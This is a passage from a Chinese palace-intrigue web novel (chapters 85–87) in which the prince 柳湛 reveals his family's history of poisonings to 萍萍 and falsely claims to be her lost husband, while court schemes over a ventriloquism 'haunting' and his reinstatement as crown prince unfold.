柳湛还真有些渴了，伸手拿起萍萍倒的那盏水，缓呷两口，如今这天，水一会就刺骨冰凉：“那小娘子未怀过龙嗣，之前想的抱一个到身边养，此时却觉别人的养不熟，还是要生一个，赶在官家驾鹤前立为太子。” 萍萍听到这已生许多疑惑，但记得柳湛的蔑笑，以为他讨厌自己插话，便紧闭双唇，不打断他。 柳湛续道：“掖庭多少腌臜吶，早在小娘子进宫前官家就不能生了。孤掌难鸣，那时有个刘淑妃，和小娘子想法一致，先她一步借腹生子，事情败露诛连九族，如此情形下，她依然决意借腹。” “她想到了她的旧情郎，九大王，说还爱他，旧情难忘，愿倾己力助他谋得太子之位。” 萍萍忍不了了：“那九大王呢？” 柳湛促眸，翘着唇角：“他也说还爱她，情深似海，愿扶她做皇后，却在每回私会前自服避子汤，绝不给她怀孕机会。” 但还是要利用她谋皇位？萍萍暗暗接上柳湛未道之言，看来这男男女女，都心怀鬼胎。 又想，男人也能喝避子汤，那为何柳湛之前不喝？ “一年半后，九大王一做官家，即刻就想斩这小娘子，却发现她有孕了，腹中胎儿已足四月，为瞒着他，之前一直裹腹。” “官家怒不可遏，小娘子，此时应该称呼太后，告诉了官家一件事，在她有孕之后，他服的避子汤都被换成绝子汤，除却她腹中胎儿，官家不可能再有别的孩子了。她还问他，不好奇之前当皇子的时候，后院孩子总是养不大么？” “也是太后害的？”萍萍又听害怕了。 柳湛微笑：“官家自己的后宫都够他喝一壶了。那位少保嫡女，他的正妃，后来的元后，心中所爱一直都是八大王，嫁给官家是拗不过父命，她恨官家杀了八大王，这些年一直兢兢业业除去他的儿女。事已至此，官家再义愤填膺也无可奈何，只能迅速处死元后，对外声称病逝。他从太后族中挑了位刚及笄的小姑娘立为继后，对外宣称皇子是小姑娘所生。模样些许相仿，无人生疑。” “之后数年，官家与太后明面上子孝母慈，暗地里藕断丝连。许是因为这，太后眼皮子松了些，官家趁其不备，调养身子，又弄出来个儿子。官家立刻就想弄死他和太后的小皇子，给那不到七岁的小孩下了许多毒药。太后遍召名医救儿，却仍濒死，走投无路下只能求神拜佛，跪在菩萨面前发愿，只要能够得救，愿将其子舍于菩萨做奴婢。七日七夜，小儿转好，自此改名娑罗奴。” 冬夜如此阴寒，萍萍从足至背全浸透冷汗，禁不住微微颤动，柳湛看在眼里，五指再蜷曲些，牢牢攥住萍萍的手，不允她抽手离开。 “这事是真的吗？”她的声音亦打颤，“怎么从来没听说过？” 宫里可是日日 都传流言，她才来半日，攀柳流言就传遍禁宫。 “因为知道的人除了我和官家，都死绝了。” 第85章 第八十五章 他就是她官人 甚至连冷宫里的废后都不知晓全情——太后自保， 常以思亲念乡的理由召一位嫁到荆湖凌家的范氏女入宫见面。这位便是凌传道的亲娘，从前在族中就与废后水火不相容。 太后故弄玄虚，迷惑废后， 让她误会凌范氏进宫是和官家私会。废后直至被逐那日， 仍以为柳湛乃凌范氏所生。 这是些旁枝末节， 柳湛觉得不必要都同萍萍讲，又想到官家后来真坐实和凌范氏的私情，心中一恨。 “所以殿下改名之后就再没放过烟花， 对吗？”萍萍稍微平复些， 追问，“官家后来还有给殿下下过毒吗？” 空旷幽深寝殿， 衬得她声音像玉箫般清脆。柳湛听得心中发酸，无论何事，她关心的永远是他这个人。他突然生出想要紧紧拥抱萍萍的冲动，但最终只是捏了下她的手。 “不，发生那件事后，官家和太后仍年年出席宫宴，陪着我一起点烟火， 是我自己后来长大， 不爱那了。” “太后难道对官家没有芥蒂吗？”萍萍不明白。 “当然有——”柳湛咧嘴笑出声， 注视着萍萍， “我那时和你一样，以为父皇疼我，母后爱我， 太后嬷嬷也宠我。” 现在想来，这些称呼都多么可笑。 “他们都演得很好，父爱母敬， 子安家和，天下莫如是。” 他们给他织了一个梦，裹住他，然后其他人在梦外厮杀。 “但其实私底下官家仍想毒杀我和太后，兴许又下过毒吧，然后被太后挡了回去？太后亦恨官家绝情，自此之后一心除去官家，扶我登基。太后同时教导我与阿七要兄友弟恭，互相扶持。” 最后一句假得柳湛自己都想笑，太后真正的做法是即刻给柳沛膳食中掺绝嗣药，汲取教训，药效比之前下给官家的更凶猛狠绝。柳沛虽能如常长大、成亲，但纵使千般调养，仍不可能有子女。 柳沛至今不知，但官家……估摸已经晓得了这事，不然不会在太后去后，连生老八老九。 太后同时溺爱柳沛，容他不学无术，纵其飞扬跋扈。柳沛八岁那年就能把养死他鹦鹉的内侍打得鲜血淋漓，进气少，出气多。 柳湛睹见萍萍皱眉，知她也疑惑不信，旋即流利道：“太后妇人之仁，且到底是修佛之人，阿七那么小，她不忍伤害的。” 柳湛忽忆起柳沛曾言，待萍萍与待宫中内侍无差。倘若柳沛敢像伤害内侍那样伤害萍萍，绝不轻饶。 “殿下是什么时候知道真相的？” “八年多前。” 萍萍心倏跳到嗓子眼，是她和官人相遇又分开那年？ “彼时我才十六、七，还活在梦里，太后骤然卧床，口不能言，他们都说是中风，我深信不疑，太医局擅治中风的令太医刚好致仕，回了江南老家，我急得甚至想去江南把他找回来。” 萍萍又暗中一慌，心杂乱无章地跳。 柳湛讲忘形：“哪知道我感染风寒突然也病倒，睡了两天，再醒来，来不及了，太后不久就过世了。” 柳湛阖唇沉默，太后弥留前回光返照，与官家密谈，而他自己则无意撞上旁听，方知是废后与官家联手，斗倒了太后。 撕裂了梦。 太后不是中风，他也不是风寒，自此入口吃食万般小心。 良久，掉针可闻。 柳湛渐渐意识到萍萍也在沉默，扭头与之对视。柴火噼啪，偶然炸出一个火星子，将两人各半张脸照亮到看不清眉目，又骤晦暗。 萍萍吐出的每一个字都在发抖：“七年前，殿下到底去没去过江南？” 他当然没有去过，但瞬间明白萍萍在确定什么。 柳湛直视萍萍，斩钉截铁，毫无犹豫：“去过。” 从此刻开始他就是她的官人。 不是也是。 倘若她真正的官人寻来，就把那人杀了，千刀万剐，永远不让他找来她面前。 柳湛用自己最坚定坦诚的语气撒谎：“我就是在江南感染风寒。虽然还没全部记起来，但应该就是那时认识的你。” 萍萍不说话了。 良久，柳湛一直牵着她的那只手，摇了又摇她的胳膊。抽不开，她只好用另一只手给自己倒水喝，一盏不解渴，再喝一盏，却又过了。 暗叹口气，启唇：“这回关进从云宫，陛下也打算置你死地？” “他现在杀不死我了。”柳湛脸上再次浮现之前那种蔑笑，“我们会出去的。” 萍萍定定看了会柳湛，挪目改盯火堆，恍惚中跳跃的火苗里车辚辚马萧萧，《左传》的人物都在火里刀兵相向，你倒我立。 “殿下，难道陛下对你一点感情也没有吗？”萍萍还是不能接受人对自己的亲生骨肉下手。 “兴许有吧，”柳湛抿唇，“但他更喜欢新人。” 他提壶倒水，边倒边说：“他喜欢新人，儿子也喜欢新儿子，因为新人不了解他不堪的过去，不了解他靠太后发家的自卑。新人仰慕官家，或与他惺惺相惜，温柔解语，只有在新人那里，官家才真正是九五之尊，耸壑凌霄。” 柳湛一下子倒了两盏，分萍萍一盏：“官家早抱定决心决裂过去，毁尸灭迹，而我就是过去之一。” 萍萍接过水后，柳湛举起自己那盏自酌。 “自私寡义，好色不忠。”萍萍忍不住唾从前眼里泥塑金身的天子。 柳湛轻笑：“别出去说。” 她看他还笑得出来，暗暗嘀咕这宫里六亲缘淡，皆不正常。 又隐隐有些后怕，自己在宫里待久了，会不会也变成他们那样？ “冷了吗？”柳湛见她收臂缩肩，以为是柴快烧没的缘故，起身添柴。 萍萍道：“民间有俗话，‘穷不怪父母，孝不比兄弟，苦不责妻儿，气不凶儿女’，还是我们民间好。” 柳湛将干柴一根根送入火堆，心想民间哪里好，她爱上了凉水般的绸缎衣裳，也依赖上地龙，明明宫中更好，只是她还没意识到。 他看向她，嘴角微微上扬，放下瓷盏后，指在桌上轻叩了叩。 轰隆隆—— 窗外兀响，萍萍唰地站起，因为牢牵，柳湛的胳膊也被拽起，二人几乎同时望向窗外，天空明亮，却不再是烟火而是电闪雷鸣。 萍萍想去窗边看个究竟，柳湛却始终拉着她的手，萍萍无奈：“你要么松手要么起来呀！” 柳湛起身，和她一起走到窗边，听咚咚咚乱声，什么东西正一点点打在窗上，不像是雨。窗户柜子堵了半边打不开，萍萍再往门边跑，柳湛松手，她到了门边开一条缝定睛瞧，抬手接，落在掌心的非雹既雪，迅速融化。 “下雪了。”萍萍道。 柳湛赶到她身边，轻叹：“最怕正月雷打雪，耕农苦了。” 茫茫黑夜里大学纷纷扬扬，很快就一片白。 这雪下了七日才停，因为天冷，又冻了十来日才化，从云宫重染绿，再见鸟飞，已经是开春了。 萍萍趁柳湛沐浴，再次来到井边。她依然搬不动，但找到一根足够粗实的断枝，可以撬起一点，萍萍飞速朝里面望了一眼，黑的，只有上面一圈亮，她毫不犹豫将另一只手上攥的石子扔进去，眨眼间听见落地声。 这井很浅，落地的声音极脆，没有水声。 萍萍撑不了多久，赶在力竭前抽出断枝，假山石落下，仍嵌在原来的位置，没有移动。 萍萍果断将断枝掰成四、五节，分开撒在院子各处，到角落时身后响起柳湛的询问：“你在做什么？” 声音隐约有些冷，但萍萍转过身来见到的是一张温柔和煦的脸，就像刚来的春天。萍萍也笑，露两个酒窝：“我在找有没有乌塌菜。” 那是一种雪后采摘的野菜。 “那你找到了吗？”柳湛笑问。 萍萍笑着摇头：“没有，今天要少一盘菜了。” “没关系。”柳湛过来牵她的手，一起回殿，萍 萍一会问“殿下你洗完了”？一会又赞“殿下你身上好香”，柳湛如沐春风，心里高兴，眼角余光却仍眺了眼井，石头的第三道褶对准井口边沿，没有人动过。 天热起来时，从云宫打开了大门，柳湛进来时只一队禁卫押送，出去时却有引驾导驾，百余内侍宫人奉迎，宝盖金舆，团扇旌麾，黄门念的诏书洋洋洒洒近千字，萍萍跪听，学会了钩元提要，大意就是柳湛之前是受奸人蒙蔽，本性良善，如今问过天地祖宗社稷，复立他当太子。 萍萍已经一点也不意外。 柳湛乘舆，她跟随队尾，柳湛不曾回头望一眼。 萍萍进冷宫那日记下了从东宫到福宁宫，再到从云宫沿路的宫殿，这会随柳湛行走，发现他绕了路。 不应该啊，近的那条路也十分宽敞，能八马并驾。 在靠近福宁宫时，前面伴行的蒋望回渐渐落到萍萍身边，在队伍拐弯时轻声提醒：“殿下要去拜见陛下。” 萍萍止步。 太子的仪仗和她越分越开，蒋望回立在萍萍身旁不动，嚅了几回唇，才道：“娘子且先随我回东宫，殿下稍候回来。” 他奉柳湛命令保护萍萍，待跨入东宫，任务完成，便要分开，萍萍却仰下巴抬眼瞟他。蒋望回会意，眸色微晦：“娘子还有事？” 萍萍点头：“刚才路上不方便说。” 蒋望回就近领她进一间小轩，窗明几净，窗心嵌明瓦，可见外面翠竹芭蕉。 蒋望回负手：“此处无人旁听。” 萍萍道：“蒋兄，昨日是你生辰，错过了，也没备礼物，只能迟补一句生辰快乐。” 今日廿六。 意料之外，蒋望回心头撼动，眼鼻温热，分唇张目，差点情难自禁。 “殿下回时为何要绕过承平宫？”这才是方才人多耳杂，她不方便问的话。 “七殿下正禁足，若从他门前过，容易被好事者曲解成耀武扬威，传到陛下耳中，旁生误会。” “七殿下被禁足了？”萍萍追问，“什么时候的事情？” 蒋望回已渐冷静，开始斟酌字句：“去岁八月，殿下顽劣厌学，惹怒陛下。唉，不是第1回 了。” 萍萍之前是听过柳沛的斑斑劣迹，官家偶有禁足，但都只十来天，这会从半月到眼下，已逾半年，忒长了吧？ 萍萍直直看向蒋望回：“陛下缘何复立太子，你知道吗？” 蒋望回垂首，避开对视：“年初雪灾误了播种，全国各地遍地粮灾，陛下又疾患固久，一人难理万机。” 七大王关着，八、九殿下还是蒙学稚童，只能推举柳湛。 蒋望回避过这一原由，只道：“所以复立殿下，分理庶政。” 萍萍想问的差不多了解，心生疲惫，揉了揉眉心。 蒋望回关切：“怎么了，不舒服？” “没有。”她同他道别，“那我先回去了。” “路上小心。” 萍萍还家般回到小院，桌椅草木仍如从前，没有变化。 不知夕照在不在屋里，萍萍微笑叩门：“夕照，夕照！” 过了好一会夕照才开门，悄无声息，萍萍差点以为屋里没人。 “夕照！”她大声笑，近一年不见，夕照蹿得好高，快赶上自己了，“你长高了！” 夕照缓缓抬眼：“银照？你回来了！”她将萍萍让进屋内，旋即追问，“那殿下呢？” “他复立了。”萍萍跨过门槛，“这些日子你还好吧？” 夕照原本正要关门，闻言缩手抱住萍萍。力道太猛，萍萍差点仰倒，笑吟吟回抱，夕照却哭起来。 萍萍以为夕照喜极而泣，自己也有几分眼热。 过了会，觉出音中悲戚，不对劲。 萍萍微微分开夕照上身，轻言细语：“怎么了？” 夕照哭泣不止，银照问她好不好？她很不好。 夕照嚎啕：“我家娘子没了——” “发生了什么事？” 夕照哭得根本没法讲完整词句。 “你好好说。”萍萍掏帕子给夕照拭泪，“别哭了，哭得我都要心碎了。” 夕照见这帕子角绣苔花，正是金娘子送给大家的，哭得更伤心了：“端、端午节宴上，我家娘子被陛下看中，封为充容。” 金娘子艳色非常，萍萍意料之中，却仍心揪惋惜，官家那个老色鬼！ “七月十五，轮到我家娘子服侍陛下，不知道那一夜发生了什么，娘子殿中所有宫人内侍，包括我家娘子，全杖毙了。” 萍萍听懵，突觉身后有人，下意识以为是官家，双肩一抖，扭头就见柳湛倚门抱臂。 对上萍萍警惕中夹杂一丝愤怒的杏眼，柳湛愣了下，才说：“孤来找你。” 萍萍眼神这才缓和，忙解释：“我刚以为是别人。” 第86章 第八十六章 不必言谢 柳湛颔首， 明白。 他朝屋内扫一眼，刚好和夕照对上，旋即移目：“孤去外面等你。” 说完转身走向院中， 在石桌边背对萍萍二人坐下， 再不看屋内一眼。 萍萍定了会， 抬手关门。 柳湛搁在桌上的右臂微颤一下，几不可察。 关起门来，萍萍追问：“你再细说， 陛下缘何震怒？” “那晚的人都死了， 哪里晓得。”夕照边抹眼泪边说，“我托姚娘子帮我打听， 她说、她说……” “她说怎么了？” “她说她打听的是，那晚正逢中元节，陛下见到了鬼。那鬼……”夕照说不下去，哭倒在萍萍怀里，萍萍给她倒了水，捋顺气，本已打算日后再问， 夕照却主动告诉她：“姚娘子说那鬼上了我家娘子的身， 说了一大堆大逆不道的话， 陛下都气呕血了。”夕照吞咽一口， “一夜满殿杖杀。” 她泪眼涟涟望着萍萍：“我家娘子绝对是无辜的，你帮我去问问太子殿下好吗？能不能帮娘子伸冤？” 萍萍情不自禁应声：“好，我一定帮你。” 待安慰完夕照， 她出屋掩上门，还未走到柳湛身边，他就回头一笑：“聊完了？” 萍萍点头， 不苟言笑：“殿下不是要去见陛下？” “官家在午憩，不忍打扰，待会再去。”柳湛整个身子转向她，搁在桌上的手亦收回来，“年初苦寒大雪，害苗稼，致粮荒。举国上下民多饥寒，孤忙于处理，最近可能没时间陪你，而且孤还要出宫一趟。” 从云宫十二个时辰粘在一起，陡然分离，柳湛也不习惯，又心生内疚，主动来找她交待，“最迟下下月回来，你等着孤。” 大庭广众，不好拉她到膝上，柳湛只能牵她的手，两两相望。 他不在的这段日子，已托付蒋望回守护萍萍，这点不用告诉她。 “殿下！”萍萍明知无望却仍愿为夕照努力一把，抓紧柳湛的手，“你能不能帮忙查一下金娘子的死因和冤情？” “怎么了？”柳湛面露疑惑。萍萍述说金娘子之事，但不提姚书云那得来的蛛丝马迹。 柳湛听完沉吟：“竟有这事？孤刚出来还不知道。” 萍萍等他再开口。 柳湛允道：“我会打听，有消息知会你。” 萍萍垂首：“多谢殿下。” 柳湛闻言忽生出几分闷气，似石块堵在胸口。 “你我之间何必言谢。”他回话，同时确认这不舒服是因为萍萍和他说了谢谢。 柳湛吸了口气，重新变得和颜悦色，本来准备走的人，突然多问：“今日还有半天，你有什么打算么？”见萍萍半晌不答，柳湛笑道，“若没有就好好歇在——” “我打算去仙韶院寻朱娘子。”萍萍打断，告知。 她想续上学琴。 须臾，柳湛点头：“好，还等着你以后学好了，来找孤讨教呢。” “我先睡个午觉再去。” “好。”柳湛再允，与她又执手相望，言语眼神缠绵了会才离开。 萍萍回房躺下，但没一会，估摸着柳湛走了，就出门悄悄去找姚书云。 司膳的院子比她们的大得多，单人独居，门前还有金 鱼池。姚书云似早晓得她出从云宫，面上不见激动讶异，只将萍萍让进门。 萍萍发现壁上贴的四幅金花笺换了新的，用来隔断书房的水晶帘亦有置换。 “瞧什么呢？”姚书云给萍萍斟了盏茶，递给她。 萍萍双手接过：“你这地方好雅致。” 姚书云白她一眼：“我还打算搬去你和夕照那院子呢，刚好你们院里有个要出宫的。” 她坦然接住萍萍错愕目光，怎么了？她说的就是真实想法，既然住得都不怎样，不如选个热闹的。正好萍萍回来了，仨人住一院方便一起用膳。 她打着萍萍的名号给太子上奏，不信他不允。 “说起夕照……”萍萍开门见山，道明来意。 姚书云旋即回：“我知道的就那些。” “书云，我晓得你肯定还有没和夕照讲的。”因为夕照藏不住话，但自己可以，萍萍强调，“我保证不会同第三人讲，绝不告诉夕照！” 她央了半天，姚书云一开始咬定不知，后被缠得无可奈何了，又冒出两字“不是”，最后缄口。 萍萍坐了半晌，突心一沉，如棒喝：“我保证也绝不告诉殿下！” 姚书云顾忌的是柳湛！ 少倾，姚书云起身走到萍萍脚边，躬身，袖掩手，手再掩口，对着萍萍耳朵吐气如兰：“金娘子那晚不是第一回服侍陛下，却像换了个人，说出的话不是她的声音，是另一个女人。那个人陛下应该很熟悉，也……”姚书云压低声音，“我猜他也很怕那一个人，因为中元节后至今，陛下一直在服用安神少梦的药物。” 萍萍看着姚书云，姚书云歪脑袋，没了，自己的线人就晓得这么多。 “陛下是不是还有什么慢病？” “嘘——”姚书云立即将指放到萍萍唇上，示意噤声。她自己声音再压低些，比蚊蝇还细，“陛下有消渴症和风眩，痼疾。” 萍萍纹丝不动，姚书云瞧她那呆滞样，唉，偏要问，问完吓坏了吧？ 萍萍心中却似有座铜钟，不住撞响，心与耳畔俱轰鸣，听不见其它——她晓得怎么能让一个人发出另一个人的声音。 用腹语。 有人用腹语栽赃金娘子，恐吓陛下。 宫中谁会腹语？ 七大王。 犹记那日树下，柳沛腹语炫耀“小紫絮”，说是鸟喊的。 这才是他被禁足的真正原因。 萍萍辞别姚书云，一路上都攥着拳，因为心跳太快，中途停歇好几回，还觉肚痛，稳了好久才再去仙韶院。 萍萍叩门，朱娘子一开就笑：“外面这么热么？” 萍萍才发现自己不仅掌心，浑身都是汗，一摸却是冰凉凉的。 朱娘子请萍萍喝了碗紫苏冰饮，萍萍说起想继续学琴的事。朱娘子听完一笑：“殿下已经复立，你是要抓紧学琴。” 萍萍垂首，朱娘子以为她学琴纯粹为了讨好太子， 其实仙韶院有开夏季小课，但只熟人私底下教授，萍萍进从云宫一年，朱娘子已将她排除在外：“可惜今年上半年的课已经结了，下半年吧。” 萍萍启唇：“我当时选琴的确是因为殿下……” “那再好好想想吧，”朱娘子打断，“九月才开课，不急。” 萍萍不疑，真准备八月底再来找朱娘子。日子一天天过，忽有一日萍萍走哪都有宫人瞥着嘀咕，她去后厨打饭，平时经常给她多打的厨娘竟抖了又抖，最后到她碗里只剩一片肉。 出后厨竟有人伸腿，试图绊她一跤。 夕照今日当完值就不知道跑哪去了，萍萍孤身一人，索性问出来。 “呸！还在这装无辜！”有人唾她。 萍萍以手护碗，别吐碗里，还要吃饭：“什么意思？” “你别装傻啦！朱娘子没让你上琴课，你就把大家的课都停了！” “我没有啊！”萍萍立马反驳。 “攀上殿下就自以为了不起了？”宫人们想骂她狐假虎威，忌惮太子不敢言，就像明明是太子撤销了司教司，宫人不满，却只敢找萍萍的茬。 萍萍了解之后，急回院内。 姚书云还真搬来做邻居，这会正等萍萍开饭，开口就问：“夕照今日又不跟我们一起吃？” “不知道她跑哪里去了。”萍萍走得过急，喘了口气，“殿下撤销了司教司，你知道吗？” “早上是听说了……”姚书云不以为然，她不上课。 夕照因为金娘子的缘故，也停课了。 “再不会开了吗？”萍萍追问。 “都撤销了怎么可能再开啊。”姚书云边回边想，民以食为天，还是司膳稳当。她忍不住多吃几口。 萍萍放下碗跑出屋，姚书云唤道：“唉你去哪呀？饭还没吃呢！” 萍萍没回应，转眼跑不见。 她一鼓作气赶到书房，蒋望回正负手立于门外。 “殿下、”萍萍弯腰，手撑着膝盖，“殿下是不是已经回来了？” “刚回，还——”蒋望回话音未落，萍萍已推门入内。 柳湛坐在“教以义方”的匾额下，手搭圈椅，正听俩萍萍不认识的官员汇报。她一冲进来，官员即刻止声，都将目光投到她身上。 萍萍顿时手脚局促，脸胀通红。 柳湛神色平淡，言语也淡漠，吩咐追进来的蒋望回：“带她出去。” 就再没瞥萍萍。 不用蒋望回带，萍萍飞也似退出书房，蒋望回抬臂，示意她再走远些，确定不会干扰书房内的议事，才问：“娘子要找殿下说什么？” 萍萍面露羞愧：“对不起，我听说殿下取缔了司教司，一时冲动就跑进去了。” 蒋望回心道这句道歉应该对太子说，但也没提醒萍萍，只告诉她：“撤销一事其实是陛下的意思，殿下只是奉圣意行事。” “殿下是今日回京的吗？”萍萍追问。 “是，”蒋望回明白她想弄清楚什么了，替柳湛解释，“赦令早两日先发回京，殿下一回宫就在书房议事，甚至还来不及面圣。” 萍萍垂首，面露愧色：“是我误会他了。”她抬首，“蒋兄，待会殿下出来，能否帮我传一句话？” “任娘子差遣。” “你不要透露我问过司教司的事，就说听见他回来了，我一时思念情难自禁，才冲进去。没想到殿下有政务，替我说声抱歉。” 蒋望回涩哑应声：“好。” 萍萍朝他行了个谢礼，而后道别，她还要赶去仙韶院向朱娘子解释、说清。 暂且不提萍萍，只说柳湛这厢，议事完出来，蒋望回竟真照本宣科，转述萍萍托付言语，一个字都不多传。 柳湛听完勾唇角悄笑，登舆赶去福宁殿面圣。 福宁殿外多了许多青瓷水缸，漂浮已经催发的碗莲，红紫白粉交错，香远益清，亭亭净植。 柳湛进殿时柳沛正立在下方，与上首官家遥遥说笑。柳湛心沉了下，面上却不表露。 柳沛侧身，笑道：“六哥，好久不见！” 柳湛微笑颔首：“出来了？” 上方官家愠道：“哼，他还没有关够。” 柳湛旋即下拜，禁足是以厌学的名义，所以他道：“父皇息怒，七弟并非有心厌学，只是年岁尚小，待大些自然会明了学不可以已的道理。”他恳切埋首，“是儿臣这个做兄长的没有督导好七弟。” 少倾，官家慢道：“你维护他，不惜自己揽过……好、好，真是兄友弟恭。” 柳湛和柳沛一齐跪拜，异口同声：“儿臣不敢！” 官家瞪向柳沛：“你已经不小啦！黑发不知勤学早，白首方知读书迟！” “还有你！”他又瞪柳湛，痛心疾首，“二十四了！连个太子妃都没有！不成家，怎成器？”官家促眸，“离京之前让他们送给你的那些画像，有没有挑出几个称心的来？” 第87章 第八十七章 “太子哥哥，你当真要立太…… “父皇您还给六哥送了选妃画像？”柳沛插话。 官家冷道：“哼， 送是送了，但恐怕你六哥已经丢到不知哪去了！”他看向柳湛，“待会让他们再给你递一套。” 柳湛叩首：“父皇慈心之爱， 所赐画册儿臣珍之重之， 对天起誓从未起过半分弃置念头。只是赈灾事忙， 暂无暇它顾，还望父皇明察！” 官家闻言却瞥向柳沛：“阿七，你先退下， 朕与太子还有事议。” 柳沛眼珠滴溜， 应了声喏，就往外走， 听见背后官家训斥柳湛：“是无暇它顾还是心里有人？别为了一个玩意迷眼，做出昏头昏脑，本末倒置的事情。” 柳沛抬在腰腹的手顿了下，仍往殿外走，装作未闻。 而下首柳湛已拱手否认：“父皇且请放 心，儿臣自知主次秩序，亦早有开枝散叶之心， 只是国以民为安危， 儿臣忧心粮荒， 真、扬、楚、泗， 皆见饥民，儿臣做梦想的都是四河调粮事，实在无心其它。” 这番话一开始是不愿牵涉萍萍， 后面讲顺嘴了，忧民疾苦，夜不能寐， 却是肺腑实话。柳湛脑海中浮现最近两月各地所见，禁不住同官家详禀起灾情，想再多奏免些赋税。言语间殿门开启关闭，柳沛走远，官家摆手道：“好了，够了。” 不想再看逆子演忧国忧民。 柳湛一怔：官家莫不以为自己演的？ 他再嫌恶这位父皇，也未料到会如此，要知道在柳湛少时，官家虽私德有亏，但政绩上十分清明，励精图治。 没想到人老了，连这也昏聩。 柳湛恭顺垂首阖唇，却在无人瞧见处蹙眉，心谤腹非，父子间沟壑再深一分。 官家背往龙椅上靠，微垂眼皮，其实他不仅不想听禀灾情，私心亦不愿见柳湛成亲，延绵子嗣。 命数皆道官家去年有坎，若能挺过寿至百年，若不能便折在这一年。官家忧心忡忡，尤其中元节太后突然附身托梦，吓得他之后数月都举头畏触，摇足恐堕，惊恐万分，直至年关。 年一过，立了春，官家心境就不同了，不再畏惧，胆逐月大，甚至生出盛年时的雄心壮志，要再多生几个龙子，再加上八、九大王，二十年后从中选出最称心如意的储君。 官家明知柳湛不愿，还催促他成婚，不过是做做样子，这样久不立太子妃，百官参的就是太子，而非天子。 众口铄金，将来也好因这由头再废柳湛。 嘶—— 官家如呷茶般呷了下唇，忍住，挺直背，不喊痛。 他足底的疮口已经越来越大，蔓过脚踝，还有向上烂的趋势。 不仅晚上无法入睡，白日行走亦愈发艰难。 就因为这，不得不用柳湛。 官家想到这，心中一恨。 官家待足痛缓解了些，才启唇吩咐：“娑罗奴，今年的郊祀你代朕去吧。” 柳湛抬起双臂，立直上身，再匍匐下拜：“儿臣遵旨——” 他早收到尚寝局线人报回，官家如今无论就寝还是临幸，已俱不褪袜，想来那脚烂得不能见人，快不能行走了吧？ 所以去南郊祭祀这类不能全程乘舆的事，都差遣柳湛跑腿。 但秋九月的演武大阅，明明也要携百官登台，官家却只字不提，准备强撑病腿，亲力亲为。 官家在惧怕什么？ 柳湛额头贴地那一霎闭上眼，彻底掩藏眸中的阴鸷和狠厉。 * 柳沛出殿，沿着水缸走，顺手拨了一路碗莲，再出福宁宫，甩干净手上水珠，撮口吹气，音是哨音，用的却《摸鱼儿》的调子，脚步轻快。 前面好像有人？ 孤身一个，迎面走来。 柳沛促眸，瞧清是萍萍后，立止啸声。 他躲进翠绿丛中，等萍萍走过少顷，再钻出来，悄悄跟上她。 等到了近处，指尖一拍萍萍右肩，她魂都要吓飞，转过身见是柳沛，怒气更甚，却生生咽下呵斥，屈膝温声：“奴婢参见七殿下。” 她没即刻站直，柳沛便也屈膝，微微弯腰，与她平视：“紫絮——” 二人正处湖边，蜻蜓低飞，绕来萍萍身边，不知怎地，萍萍忽然就觉得身上黏腻脏灰，想回去沐浴。 柳沛抬手驱走蜻蜓，笑道：“紫絮，你关了几个月，本王也关了几个月，看起来咱俩都瘦了。” 萍萍旋即接口：“奴不敢同殿下相提并论。” 柳沛抿唇，鼻息笑出一声。 须臾，他抬手要扶她起身站直，萍萍忙后退一足距离，自己站直。 柳沛并不介意她的生分，笑吟吟问：“被关着的时候你都做些甚么？” “殿下问这作甚么？”萍萍反问。 “本王这回禁足十分无聊，想多收集些旁人的，下回再被禁足，多些事做。”柳沛说着背手往湖面上扫，“好多蜻蜓乱飞，小紫絮，待会本王回去拿个虫网，咱们一起捕蜻蜓。” “奴婢还要当值，马上要迟到了！”柳沛的话反倒帮萍萍找到理由，左迈一步，就要绕过他。 柳沛往左后退，挡住她的去路。 萍萍低头。 柳沛猫腰，从下往上笑望她：“说真的，被关着的时候你都做什么解闷？” “奴婢种菜。” “种菜？”柳沛直腰后仰，拍手道，“这个有趣！” “还有别的吗？”他追问。 萍萍摇头，没有了，自己可以走了吗？ 柳沛却喋喋不休，萍萍没趣事他就开始讲自己的：“我这回闭关，学了个隐气匿息的法子，悄悄随在人后不会被发觉，”柳沛顿了下，“方才就是这样跟踪你的，想学吗？” 还想学？萍萍听得想打他！ 柳沛脸上笑意消散，惋惜道：“毕竟不能再玩腹语了嘛。” 萍萍眉蹙唇抿，虽然即刻重舒展开，却仍被柳沛捕捉道。 他微微勾唇，幽幽道：“七月十五，你还在从云宫里，本王晓得那个人肯定不是你。” 说着现出一副绝对不会责怪她的表情，展眉眯眼，眸中尽是慈悲色。 “学不学隐气匿息法吗？”他声音轻快，像一位淘气少年正催促同伴。 片刻，萍萍抬起头，终于光明正大同柳沛对视：“殿下想让奴跟踪谁？又希望奴听见看见什么？” 柳沛面无表情须臾，兀地放声大笑。 早知她这般直率通透，就不循循善诱，绕一大弯了，又想这样伶俐合拍的人，若非心向柳湛，定要收为己用。 他歪脑袋，温柔看向萍萍双眼：“那你敢不敢亲眼见吗？” 他也不管萍萍答应不答应，就教她隐气匿息之法，让她一边练习巩固，一边将她拉到一株无法合抱的粗壮柳树后。 “不管发生什么事，都待在这后面别动，别露出身子。”柳沛叮嘱完，弯腰摘了根树下的狗尾巴草叼在嘴里，往福宁宫方向走远些，靠着二、三十步外另一株柳树打盹。 热风拂动柳枝，蝉在对面梧桐上鸣叫，从福宁宫出来的柳湛途径此处，距离柳沛十来步，距离萍萍也十来步，忽被后面奔跑追来的官家贴身内侍叫住：“太子殿下、太子殿下！” 柳湛停步，回身见官家的贴身内侍后面还跟着四位小内侍，各抱七、八幅卷轴。那贴身内侍笑道：“太子殿下，这些都是呈给您选阅的各家贵女。” 萍萍在树后听见，明知柳沛居心不良，却仍心一紧，揪起来。 道上，柳湛淡道：“这些孤那里有，不用再送一套。” 萍萍听得心一抽，疼得想要弓背。 “六哥？”柳沛这会“醒了”，连奔带跑过来，喊了几声“六哥”柳湛皆不应，便改唤“太子哥哥”。 柳湛面色慈善，俨然一位温和却无奈的兄长：“你不是早走了吗？怎么还在这里？” “我刚睡着了。”柳沛答柳湛的话，眼睛却望着抱画的内侍，“这些画里就是你和父皇商量的那些贵女？太子哥哥，你当真要立太子妃啊？” 柳沛皱起眉头，不掩语气里的担忧和责备：“那银娘子怎么办？她定会伤心的。” 柳湛声骤冷：“你几时这般关心她？” 柳沛挑眉：“本王对相识的人都护短。” 柳湛想着柳沛当年打死内侍一事，心底冷哼。 与此同时，余光瞥向一班官家内侍——高高在上那位，比柳沛更喜杖杀。 又思及本朝律法，以妻为妾，以婢为妻妾，皆要徒刑。 